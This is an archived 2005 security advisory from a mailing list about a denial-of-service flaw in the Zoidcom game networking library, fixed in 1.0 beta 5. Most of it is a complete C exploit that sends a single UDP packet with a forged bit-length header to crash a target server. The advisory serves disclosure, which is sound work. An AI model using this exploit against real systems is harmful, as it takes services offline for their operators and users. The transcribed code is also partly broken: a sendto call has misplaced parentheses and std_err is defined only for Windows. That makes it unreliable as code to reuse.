

[NEWS] Zoidcom DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-05/0075.html>

From: Securiteam (*support_at_securiteam.com*)

Date: 05/11/05

To: list@securiteam.com

Date: 11 May 2005 15:10:05 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the Securiteam web site: <http://www.securiteam.com>

-- promotion

The Securiteam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Zoidcom DoS

SUMMARY

" <<http://www.zoidcom.com/>> Zoidcom is a high-level, UDP based networking library providing features for automatic replication of gameobjects and synchronization of their states over a network connection in a highly bandwidth efficient manner. This is achieved by multiplexing and demultiplexing object information from and into bitstreams, which make it easily possible to avoid sending redundant data. Booleans only take one single bit, integers and floats are stripped down to as many bits as needed."

The library Zoidcom expects a UDP packet to transmit the size of the data, and by supplying a false number, attackers can crash the library and cause a denial of service attack.

DETAILS

Vulnerable Systems:

* Zoidcom version 1.0 beta 4 and prior

Immune Systems:

* Zoidcom version 1.0 beta 5

Securiteam: [NEWS] Zoidcom DoS

The first 4 bytes at the beginning of any UDP packet handled by this library specify the size of the packet data in bits.

When a packet is received the library calls the ZCom_BitStream::Deserialize function that allocates a target buffer of the size specified in these 4 bytes and then copies all the subsequent part of the packet in it.

If an attacker specifies a big amount of bits the Deserialize() function will try to read the unallocated memory located after the packet buffer or the library will exit immediately if the amount of bits is so big that the target buffer cannot be allocated.

Exploit:

A copy of the header winerr.h can be obtain at the address:
<<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html>>
<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html>
/*

by Luigi Auriemma

```
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif

#define VER "0.1"
#define MAX 536870913

u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
    struct sockaddr_in peer;
    u_long bytes = MAX,
           bits;
    int sd;
```

Securiteam: [NEWS] Zoidcom DoS

```
u_short port;

#ifdef WIN32
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

setbuf(stdout, NULL);

fputs("\n"
      "Zoidcom <= 1.0 beta 4 crash "VER"\n"
      "by Luigi Auriemma\n"
      "e-mail: aluigi@autistici.org\n"
      "web: http://aluigi.altervista.org\n"
      "\n", stdout);

if(argc < 3) {
    printf("\n"
          "Usage: %s <host> <port> [bytes(%lu)]\n"
          "\n", argv[0], bytes);
    exit(1);
}

if(argc > 3) bytes = atol(argv[3]);

port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n",
       inet_ntoa(peer.sin_addr), port);

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

bits = (bytes - 2) << 3;
printf("- send malformed packet:\n %lu bits -> %lu bytes\n", bits,
bytes);
if(sendto(sd, (void *)&bits, 4, 0, (struct sockaddr *)&peer,
sizeof(peer)
< 0) std_err());

close(sd);
fputs("- the server should be crashed, check it manually\n\n",
stdout);
return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
```

Securiteam: [NEWS] Zoidcom DoS

```
u_long host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
    hp = gethostbyname(host);
    if(!hp) {
        printf("\nError: Unable to resolv hostname (%s)\n", host);
        exit(1);
    } else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}

#ifdef WIN32
void std_err(void) {
    perror("\nError");
    exit(1);
}
#endif

/* EOF */
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@autistici.org> Luigi Auriemma.

The original article can be found at:

<<http://aluigi.altervista.org/adv/zoidboom-adv.txt>>
<http://aluigi.altervista.org/adv/zoidboom-adv.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.